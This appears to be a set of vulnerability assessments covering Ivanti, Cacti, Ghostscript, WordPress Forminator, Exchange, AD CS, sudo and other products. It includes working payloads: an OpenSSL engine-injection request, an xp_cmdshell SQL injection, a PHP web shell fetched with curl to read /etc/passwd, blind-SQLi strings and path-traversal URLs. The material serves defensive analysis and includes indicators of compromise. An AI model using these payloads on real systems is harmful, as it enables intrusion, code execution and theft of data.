cdelafuente-r7 (96)

Ivanti Connect Secure versions prior to 22.7R2.1 and 22.7R2.2, and Ivanti Policy Secure versions prior to 22.7R1 are vulnerable to CRLF injection, which leads to remote code execution with the privileges of the user root. Since it requires to be authenticated as an administrator on the web interface, it might be less attractive for attackers. That being said, it is still considered a critical vulnerability since the attacker could have full control of the server.

Another requirement is the ability to upload a malicious file to the server. This file will be loaded and executed later during the exploitation of this vulnerability. The available PoC’s abuse the Client Log Upload feature for this purpose, which needs to be enabled and can only be used by a non-administrative user, as far as I know. Since the attacker already has access to the administrative interface, he can easily enable this feature and create a user if necessary.

Technical Details

The attack consists in first uploading the payload abusing the Client Log Upload capability. The application doesn’t seem to check the file type and consider it as a .zip file. It renames the file and stores it in a known location on the server (/home/runtime/uploadlog/). The attacker can retrieve the filename from the administrative interface and get the full local path on the server.

Then, the attacker will create a Certificate Signing Request (CSR) via the web interface and inject some specifically crafted OpenSLL configuration:

…
[default]
openssl_conf = openssl_init
[openssl_init]
engines = engine_section
[engine_section]
var1 = custom_section_name
[custom_section_name]
engine_id = var1
dynamic_path = /home/runtime/uploadlog/log-20241104-071100.zip
init = 0
…

This configuration will instruct OpenSSL to use a custom cryptographic engine instead of the default one. The local path of our payload (previously uploaded through the Client Log Upload feature) is specified in the injected configuration, which will result in OpenSSL loading it as a shared object. This OpenSSL Engine API has been deprecated since OpenSSL version 3.0, but the vulnerable Ivanti products use an older version with this feature still available.

Example of HTTP POST request with the injected OpenSSL configuration:

…
xsauth=7b256576da59e34e61e6dc729d10a979&commonName=Legal&organizationName=Weber, Murazik and Sauer&organizationalUnitName=Risk Management&localityName=Pourosberg
[default]
openssl_conf = openssl_init
[openssl_init]
engines = engine_section
[engine_section]
uqsp = pleapzctgw
[pleapzctgw]
engine_id = uqsp
dynamic_path = /home/runtime/uploadlog/log-20241104-071100.zip
init = 0
&stateOrProvinceName=Michigan&countryName=NE&emailAddress=bobbi_kuvalis@bauch-kub.example&keytype=RSA&keylength=1024&eccurve=prime256v1&random=aJcgsEm&newcsr=yes&certType=device&btnCreateCSR=Create CSR

The application will format and save these configurations to a temporary file on the server. openssl req will then be executed to create a CSR, passing this temporary configuration file as an argument:

openssl req config <temp_config> -new -utf8 -out <output folder>

Indicators of Compromise

• Log files uploaded through the Client Log Upload feature will appear in logs in the administrative interface (Log/Monitoring > Events > Logs).
  
• A pending CSR might still be listed in the administrative interface (Configuration > Certificates > Device Certificate)
  

A Metasploit module exploiting the vulnerability against Ivanti Connect Secure is available.

Ghostscript is vulnerable to a critical format string vulnerability that affects versions before 10.03.1. An attacker could leverage this vulnerability to disable the SAFER sandbox and execute arbitrary code through the Ghostscript interpreter. The SAFER protection is enabled by default from version 9.50 and implements multiple sandbox functionalities restricting various dangerous operations, such as command execution via the use of %pipe%command. An attacker could exploit this format string vulnerability to disable this protection and escape the sandbox, leading to remote code execution.

The issue lies in the upd_wrtrtl() function, which can be reached by selecting the uniprint device. The upYMoveCommand and upWriteComponentCommands device parameters are used as a format string for the gs_snprintf() function, a custom implementation of the regular libc snprintf(). Please, refer to this excellent write-up for further details.

What makes this vulnerability even more dangerous is the fact that Ghostscript is used by libraries such as ImageMagick, often used by web applications to handle and convert images or documents. An attacker could simply upload a malicious Postscript file and gain remote code execution on the web server. A Metasploit module exists and can be used to test if Ghostscript is vulnerable.

Ivanti Endpoint Manager (EPM) versions 2022 SU5 and prior are vulnerable to SQL injection and a patch has been released, as described in the official advisory and the related KB article. It is possible to leverage this vulnerability to achieve unauthenticated remote code execution.

The function RecordGoodApp() in AppMonitorAction.cs is responsible for handling reports of “good” applications.

159     private static void RecordGoodApp(
160       LanDeskDatabase database,
161       string[] tokens,
162       DateTime reportDate,
163       int computer_idn)
164     {
165       try
166       {
167         GoodApp goodApp = new GoodApp(tokens);
168         try
169         {
170           string sql1 = string.Format("Select ReportedGoodApps_Idn from ReportedGoodApps where md5 = '{0}'", (object) goodApp.md5);
171           DataRow row1 = database.ExecuteRow(sql1);

As can be seen in line 170, goodApp.md5 value is used to construct a SQL query without any sanitization. It happens that this value is user-supplied and this function can be reached through the EventHandler web service endpoint. The attack consists in sending a SOAP request to this endpoint, substituting the MD5 value with the malicious SQL command:

<?xml version="1.0" encoding="utf-8"?>
<soap12:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap12="http://www.w3.org/2003/05/soap-envelope">
  <soap12:Body>
    <UpdateStatusEvents xmlns="http://tempuri.org/">
      <deviceID>string</deviceID>
      <actions>
        <Action name="string" code="0" date="0" type="96" user="string" configguid="string" location="string">
          <status>GoodApp=1|md5=<SQL_COMMAND></status>
        </Action>
      </actions>
    </UpdateStatusEvents>
  </soap12:Body>
</soap12:Envelope>

To achieve remote code execution, the MS-SQL special command xp_cmdshell can be used this way:

;EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;EXEC xp_cmdshell '<MALICIOUS COMMAND>'--

A Metasploit module is already available for this attack.

Note that this is an unauthenticated attack and it usually results in privileged access to the vulnerable system. Since Ivanti EPM is usually running as an NT Service user, this can be easily escalated to a NT AUTHORITY\SYSTEM privileged user.

Cacti versions prior to 1.2.27 are vulnerable to arbitrary file write that could lead to RCE. This requires authentication and the account needs the Template Editor permission to exploit this vulnerability.

Exploit

Once authenticated, the attacker just needs to import the following XML package, with the desired payload previously base64 encoded.

<xml>
   <files>
      <file>
         <name>resource/payload.php</name>
         <data>...base64 encoded payload…</data>
         <filesignature>...base64 encoded signature of the payload file</filesignature>
      </file>
   </files>
   <publickey>...base64 encoded public key...</publickey>
   <signature>...base64 encoded signature of this package XML file…</signature>
</xml>

Note that the signatures of the payload and the XML file are RSA-based signatures with SHA-256.

The entire XML has to be Gzipped before being sent through the Import/Export > Import Packages page. This results in having our PHP payload file being extracted to the resource/ directory, which is accessible externally at http://<catci host>/<cacti root path>/resource/payload.php.

One typical payload to achieve code execution would be:

<?php system($_GET['cmd']); ?>

which can be triggered by sending the following request:

❯ curl "http://127.0.0.1:8080/cacti/resource/payload.php?cmd=cat+/etc/passwd"
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin

Analysis

The following code snippet from the import_package() function in lib/import.php is responsible for handling the import of the XML package:

 517         foreach ($data['files']['file'] as $f) {
 518                 $fdata = base64_decode($f['data']);
 519                 $name = $f['name'];
 520
 521                 if (strpos($name, 'scripts/') !== false || strpos($name, 'resource/') !== false) {
 522                         $filename = $config['base_path'] . "/$name";
 523
 524                         if (!$preview) {
 525                                 if (!cacti_sizeof($import_files) || in_array($name, $import_files)) {
 526                                         cacti_log('Writing file: ' . $filename, false, 'IMPORT', POLLER_VERBOSITY_MEDIUM);
 527
 528                                         if ((is_writeable(dirname($filename)) && !file_exists($filename)) || is_writable($filename)) {
 529                                                 $file = fopen($filename, 'wb');
 530
 531                                                 if (is_resource($file)) {
 532                                                         fwrite($file , $fdata, strlen($fdata));
 533                                                         fclose($file);
 534                                                         clearstatcache();
 535                                                         $filestatus[$filename] = __('written');
 536                                                 } else {

The data is decoded line 518 and written to file on line 532. The filename is retrieved from the name field line 519 and must include 'scripts/ or resource/ (line 521). The final destination path is constructed line 522. Since the scripts/ directory is not accessible externally, having our payload in the resource/ directory is the preferred option.

Note that there is no protection against path traversal and it should be possible to set the file name to something like resource/../../../../../../../<path from the root>/payload and write the payload anywhere on the filesystem, as long as the user running Cacti has the right permissions.

IoC

The original PoC and the Metasploit module sends a minimum XML package and many optional fields are missing. This generates a series of entries in the main Cacti log (<cacti installation path>/log/cacti.log). These can be a good indicator the exploit has been executed.

…
2024-06-25 07:47:00 - CMDPHP PHP ERROR NOTICE Backtrace:  (/package_import.php[41]:form_save(), /package_import.php[195]:import_package(), /lib/import.php[607]:CactiErrorHandler())
2024-06-25 07:47:00 - ERROR PHP NOTICE: Undefined index: info in file: /var/www/html/cacti/lib/import.php  on line: 341
2024-06-25 07:47:00 - CMDPHP PHP ERROR NOTICE Backtrace:  (/package_import.php[41]:form_save(), /package_import.php[200]:import_display_package_data(), /package_import.php[451]:import_package_get_details(), /lib/import.php[341]:CactiErrorHandler())
2024-06-25 07:47:00 - ERROR PHP NOTICE: Undefined index: author in file: /var/www/html/cacti/package_import.php  on line: 481
2024-06-25 07:47:00 - CMDPHP PHP ERROR NOTICE Backtrace:  (/package_import.php[41]:form_save(), /package_import.php[200]:import_display_package_data(), /package_import.php[481]:CactiErrorHandler())
2024-06-25 07:47:00 - ERROR PHP NOTICE: Undefined index: homepage in file: /var/www/html/cacti/package_import.php  on line: 482
2024-06-25 07:47:00 - CMDPHP PHP ERROR NOTICE Backtrace:  (/package_import.php[41]:form_save(), /package_import.php[200]:import_display_package_data(), /package_import.php[482]:CactiErrorHandler())
2024-06-25 07:47:00 - ERROR PHP NOTICE: Undefined index: email in file: /var/www/html/cacti/package_import.php  on line: 483
2024-06-25 07:47:00 - CMDPHP PHP ERROR NOTICE Backtrace:  (/package_import.php[41]:form_save(), /package_import.php[200]:import_display_package_data(), /package_import.php[483]:CactiErrorHandler())
2024-06-25 07:47:00 - ERROR PHP NOTICE: Undefined index: copyright in file: /var/www/html/cacti/package_import.php  on line: 490
…

Forminator Wordpress plugin versions prior to 1.29.3 are vulnerable to SQL injection. After investigating the changes made in version 1.29.3, it is easy to see that no input sanitization was done on the order_by and order parameters before being concatenated to the SQL statement. This code lies in the get_filter_entries() function in library/model/class-form-entry-model.php:

		$order_by = 'ORDER BY entries.entry_id';
		if ( isset( $filters['order_by'] ) ) {
			$order_by = 'ORDER BY ' . esc_sql( $filters['order_by'] ); // unesacaped.
		}
		$order = 'DESC';
		if ( isset( $filters['order'] ) ) {
			$order = esc_sql( $filters['order'] );
		}

		// group.
		$group_by = 'GROUP BY entries.entry_id';

		$sql     = "SELECT entries.`entry_id` FROM {$table_name} entries
						INNER JOIN {$entries_meta_table_name} AS metas
    					ON (entries.entry_id = metas.entry_id)
 						WHERE {$where} {$group_by} {$order_by} {$order}";
		$results = $wpdb->get_results( $wpdb->prepare( $sql, $form_id ) ); // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared

This function is called by _prepare_export_data() in library/class-export.php when exporting Quiz or Form data as a CSV or sent as an attachment via email. This code path is reached when filters like order or order_by are used in the query.

To demonstrate this, authenticate as an admin to access the Wordpress Admin Dashboard, go to /wp-admin/admin.php?page=forminator-entries, click on the filter button on the right hand side of the submission list, add some filters and click APPLY. The ones that interest us are Sort By and Sort Order. Then, click on EXPORT, select Apply Submission Filters in the Manual Exports section and click DOWNLOAD CSV.

This will send the following POST request:

POST /wp-admin/admin.php?page=forminator-entries&form_type=forminator_forms&form_id=7&entries-action&date_range&min_id&max_id&search&order_by=entries.date_created&order=DESC&entry_status=all&entries-action-bottom HTTP/1.1
Host: localhost:8080
Content-Length: 96
…[SNIP]...

forminator_export=1&form_id=7&form_type=cform&_forminator_nonce=ed27a59f8a&submission-filter=yes

It should return the submission entries in CSV format.

Now, let’s inject some SQL commands in the order_by parameter. According to the code, the vulnerable SQL query should not return anything in the response and we’ll need to go with blind SQLi. Since it will be concatenated to the ORDER BY clause, we will use the following query:

1,(select if((1=1),1,(select 1 union select 2)))

If the if condition is true, the submission entries should be returned. If it is false, an empty list should be returned:

• True (1=1)
  
  
• False (1=0)
  
  

More precisely, it is an Blind Error-Based SQLi, since a false statement will fail with an SQL error: ERROR 1242 (21000): Subquery returns more than 1 row

We now confirmed that SQLi is possible.

One big caveat to this attack is that each time a CSV is required, Forminator updates the forminator_exporter_log Wordpress option with a timestamp:

 124         $count = $export_data->entries_count;
 125         // save the time for later uses.
 126         $logs = get_option( 'forminator_exporter_log', array() );
 127         if ( ! isset( $logs[ $model->id ] ) ) {
 128             $logs[ $model->id ] = array();
 129         }
 130         $logs[ $model->id ][] = array(
 131             'time'  => current_time( 'timestamp' ),
 132             'count' => $count,
 133         );
 134         update_option( 'forminator_exporter_log', $logs );

This will cause Wordpress to update the forminator_exporter_log option value in the wp_options table each time a request is received. This code is not overwriting the previous timestamp but actually adding a new timestamp to the option each time a CSV is required. As a result, the forminator_exporter_log option value will increase in size each time it is updated.

This is not a big problem per se, but if binary logging is enabled (it is enabled by default from MySQL 8.0), each database update will add an event to the binary log file (binlog.*). Since a blind SQLi usually requires a lot of queries, the binary log files will increase exponentially and quickly fill out all the disk space on the MySQL server. This will end up causing a DoS (it happened to me many times while investigating).

To conclude, this vulnerability is relatively easy to exploit but requires privileged access to Wordpress in order to reach the Forminator CSV export functionality. Even with these privileges, it is very likely to cause a DoS before any useful data is retrieved from the database.

This is a local file inclusion vulnerability that affects the external links page link.php. When chained with CVE-2023-49084, a SQL injection vulnerability in the pollers.php script, an attacker can achieve remote code execution. It requires to be authenticated with specific permissions to exploit the SQL injection, but if these conditions are met, an attacker can update the database and exploit this vulnerability.

The attack consists in creating an external link entry in the database that points to the Cacti log file and setting all the permissions needed to access it. Then, the attacker just has to inject a stager payload the logs, which will be triggered when the external link page is requested. A Metasploit module exists for this.

Since this vulnerability requires an user account setup with specific permissions, the risk is lowered. However, remote code execution is still considered a serious issue and should be patched as soon as possible. A fix has been released with version 1.2.26.

This is a blind SQL injection in the poller device management page (pollers.php), which can be exploited with time-based techniques. Even if the exploitation is a bit more complex, the attacker can have full control of the database and can read, update, insert and delete anything. For example, the user_auth_realm table can be updated to grant administrative privileges. Also, it is possible to chain this vulnerability with CVE-2023-49084 and get remote code execution. A Metasploit module exists for this.

The risk is reduced because the attacker needs to be authenticated with permissions to access the pollers page. This is granted by setting the Sites/Devices/Data permission in the General Administration section. That being said, even if Cacti is usually not exposed to the internet, it is a serious issue and should be patched as soon as possible. A fix has been released with version 1.2.26.

This is a path traversal vulnerability in Ivanti Avalanche version 6.3.4.153. It is not clear if prior versions are also vulnerable. An unauthenticated attacker can leverage it to access any files under C:\PROGRAM DATA\Wavelink\AVALANCHE\Web webapps\AvalancheWeb\ directory, by requesting the following URL:

http(s)://<domain>/AvalancheWeb//faces/javax.faces.resource/<file>?loc=<directory>

For example, to access the web.xml configuration file, this request can be sent:

http(s)://<domain>/AvalancheWeb//faces/javax.faces.resource/web.xml?loc=../WEB-INF

However, the file extensions allowed to be accessed this way are quite limited. The advisory says only .xml, .html and potentially a few others, depending on the .htaccess rules. That being said, this is still an information disclosure issue that could reveal internal settings and be used by other potential attacks (e.g. the deployment descriptor file web.xml).

The advisory also describes a scenario where one could use a debug feature that performs a memory dump of the Avalanche process for debugging purposes. The memory dump file is stored under a path accessible by this path traversal and could reveal sensitive information the process had in memory when the dump was requested, such as credentials of users that had logged into the application. Note that this feature is only available to users with administrative privileges, which means the attacker needs to be authenticated with these privileges or an administrator has already performed a memory dump and left the file around.

So, it is important to patch this as soon as possible, but I don’t think this is critical.

This vulnerability enables a low-privileged user to escalate privileges in a default Active Directory environment with the Active Directory Certificate Services (AD CS) installed. AD CS servers is Microsoft’s public key infrastructure (PKI) implementation, which enables the issuing of certificates. Since AD CS is coupled with Active Directory, certificates can be used to authenticate against the KDC via the PKINIT Kerberos extension. The identity of a domain computer account is provided by the DNS name in the certificate.

The owner of a computer account has write permission on the computer dNSHostName property. As a result, it is possible to set it to any existing DNS host name in the domain, which will be the DNS host name in the issued certificate. This certificate can then be used to authenticate against the KDC.

In order to achieve privilege escalation, the DNS host name is set to a valid Domain Controller (DC) host name, resulting in a successful authentication as the DC account. Being able to authenticate as the DC account gives enough privileges to impersonate a Domain Administrator.

Here is a common exploitation workflow:

1. Using a low-privileged domain account, create a new computer account in the Active Directory. Note that any domain user is allowed to do so, as long as the user’s ms-DS-MachineAccountQuota property is greater than 0 (set to 10 by default).
   
2. Set the newly created computer dNSHostName attribute to match the DC DNS host name.
   
3. Request a certificate for this computer.
   
4. Authenticate as the DC account with this certificate.
   
5. Request a Service Ticket (TGS) impersonating a Domain Administrator account.
   

This attack has been fully automated in a Metasploit module (still a WIP as time of writing). The resulting TGS can be used by any Metasploit module and external tools to impersonate a Domain Administrator.

Microsoft released a patch on May 10, 2022.

This is an arbitrary code injection vulnerability caused by unsanitized user input in a call to the PHP eval() function.

...
else if($type[0] == "php")
{
    $setting['optionscode'] = substr($setting['optionscode'], 3);
    eval("\$setting_code = \"".$setting['optionscode']."\";");
}
...

To trigger the vulnerability and achieve remote command execution, an attacker will have to create a crafted configuration setting with the payload and send a second request to trigger the execution. A Metasploit module, based on the original PoC, is available.

Note that authentication to Admin CP is required for this exploit to work and the account must have rights to add or update settings. Also, since the user running PHP is usually a non-privileged user, the exploit won’t get you privileged access.

This vulnerability is one of the three Windows RPC related issues that were fixed in Microsoft’s April 2022 Patch Tuesday. Compared to CVE-2022-24492 and CVE-2022-24528, this one does not require user interaction. It also has the highest CVSS score (9.8) and severity (Critical). Unpatched systems that expose port 445/TCP are potentially vulnerable to Remote Code Execution. This is more likely something that would happen on an internal network, since this port is usually not exposed to the Internet (well, it should not). This bug would be very interesting for any attacker that has gained access to the internal network and needs to move laterally.
According to this article, the issue seems to be an integer overflow bug. Patch diffing reveals that many calls to some kind of sanitizing function have been added. This function checks if an integer value is still in the expected range after some arithmetic operations and should avoid a potentially heap buffer overflow. These checks have been added in multiple locations, both on RPC client-side and server-side of the execution flow.

This vulnerability is similar to the Gitea vulnerability identified as CVE-2020-14144 (Gitea is a fork of Gogs). Please refer to this assessment for details. At the time of writing, no mitigation has been implemented in Gogs. So, it is highly recommended to set the DISABLE_GIT_HOOKS configuration setting to true to completely disable this feature and prevent all users (including admin) from creating custom Git hooks. It is a serious security risk.

If a Gitea user is allowed to create Git hooks, which is the default for administrators, code execution on the server through the web interface is possible. Note that this privilege can also be granted to a non-administrative user.

Git hooks are scripts that are executed before or after an event such as push, commit, etc. Allowing a user to create such scripts is potentially dangerous and should be avoided as much as possible.

A new Metasploit exploit module that leverages this insecure setting has been added recently. It enables an attacker to remotely execute arbitrary code if he has access to an account with permission to create Git hooks. For this, it simply creates a new repository, sets a post-receive Git hook containing the malicious code and adds a dummy file to the repository to trigger code execution.

It has been mitigated in version 1.13.0 by setting the Gitea DISABLE_GIT_HOOKS configuration to true by default. This completely disables the Git hook creation feature and prevents all users (including admin) from creating custom Git hooks. Administrators will need to think twice before changing it back to false, since it is a serious security risk.

An exploit module that leverages both this authentication bypass and a directory traversal vulnerability identified as CVE-2021-25282 has been added to Metasploit recently. It allows an attacker to execute commands remotely on the master as the root user.

This module takes advantage of a Maintenance Process Check that is executed every 60 seconds by default. This process reloads and executes all the grains on the master, including custom grain modules in the Extension Module directory. Code execution is achieved by sending a request to the wheel_async client, abusing the directory traversal issue in the path parameter, as described in @kevthehermit’s assessment. A malicious Python script is placed in the Extension Module directory (default is /var/cache/salt/master/extmods/), waiting for the Maintenance Process Check to execute it.

Note that this attack can leave some traces in logs if the log level is set to debug or trace.

This is a post-authentication arbitrary file write vulnerability that has been actively exploited. Now, an exploit module has been added to Metasploit, which leverages both the Server-Side Request Forgery vulnerability identified as CVE-2021-26855 and this arbitrary file write vulnerability. The SSRF is mainly used to retrieve internal information such as the user SID, session ID, canary value, etc. It also allows bypassing authentication to exploit CVE-2021-27065 and creates a custom .aspx web page that embeds a web shell. Once this backdoor is planted, the module uses it to stage the actual payload and execute it.

Note that, for this exploit to work, two Exchange Servers are needed. One is the host the module directly sends requests to and the other server is the internal resource the SSRF targets. The Exchange Admin Center (EAC) web interface, usually located at https://<ServerFQDN>/ecp, needs to be accessible on at least one server. Also, the email address of an Administrator on the Exchange server needs to be provided to the module. It is not really something difficult to obtain, as long as you know the name of an admin and the email pattern used internally.

Three modules exploiting this vulnerability have been added to Metasploit:

1. A scanner module that checks if the target is vulnerable to this Server-Side Request Forgery.
   
2. An auxiliary module that dumps the mailboxes for a given email address, including emails, attachments and contact information.
   
3. An exploit module that leverages an unauthenticated Remote Code Execution. This allows execution of arbitrary commands as the SYSTEM user. This module takes advantage of the same SSRF vulnerability and also of a post-auth arbitrary-file-write vulnerability identified as CVE-2021-27065.
   

The auxiliary module (2) leverages this SSRF to retrieve the internal Exchange server name and query the Autodiscover service to retrieve other internal data. All of this is done without authentication through the Exchange Admin Center (EAC), usually located at https://<ServerFQDN>/ecp, so it needs to be accessible. It finally POSTs to the EWS endpoint to dump emails, contacts, etc. Note that this exploit needs at least two Exchange servers to work. One is the host the module directly sends requests to and the other server is the internal resource the SSRF targets.

The exploit module (3) follows the same workflow but retrieves extra information such as the user SID, session ID, canary value, etc. Then, still using the SSRF, the module exploits the arbitrary-file-write vulnerability (CVE-2021-27065) to create a custom .aspx web page that embeds a web shell. Finally, once this backdoor is planted, it uses it to stage the actual payload and execute it. Note that, for this exploit to work, the email address used needs to be the email address of an Administrator on the Exchange server. It is not really something difficult to obtain, as long as you know the name of an admin and the email pattern used internally.

Accellion’s legacy File Transfer Appliance (FTA) is an application to transfer large files securely. It is a 20-year-old product and will reach End of Life on April 30, 2021. Accellion recommends to migrate to kiteworks, its enterprise content firewall platform. According to this post, the SQL injection vulnerability is the starting point of a series of attacks against multiple organizations. This post reports that this vulnerability has been actively exploited since mid-December 2020 and is related to an ongoing ransomware campaign.

This SQL injection vulnerability enables an unauthenticated remote attacker to retrieve data from the database by sending specially crafted requests to the document_root file. Especifically, it has been exploited to retrieve a key that led to the installation of a web shell on the appliance. This web shell was then used to download sensitive data from the FTA internal database.

Due to the nature of this application, the data available is likely to be very sensitive and exploiting this vulnerability would lead to a critical information leak. As an emergency mitigation, external access to any vulnerable FTA should be shut down. However, this won’t block attacks coming from the internal network. It is highly recommended to patch to the latest version and to consider migrating to kiteworks.

Sudo is vulnerable to a local privilege escalation that enables any local user to gain root privileges. This is due to a heap-based buffer overflow when unescaping backslashes in the command’s arguments. This vulnerable code has been introduced in July 2011. According to the advisory, legacy versions from 1.8.2 to 1.8.31p2 and stable versions from 1.9.0 to 1.9.5p1 are vulnerable in their default configurations. Note that the local user password is not required to successfully exploit this vulnerability.

The exploitation is done by invoking “sudoedit -s” command to reach the vulnerable code and do an out-of-bounds write in heap memory. The security researchers were able to exploit this vulnerability and get a shell as root using 3 different methods. One of them, which seems to be the easiest and the most reliable, is demo’ed in this video.

I couldn’t find any PoC available, but there are enough technical details in the advisory to write an exploit. It is a critical bug and sudo should be patched immediately. It is very likely a working exploit will be publicly available soon.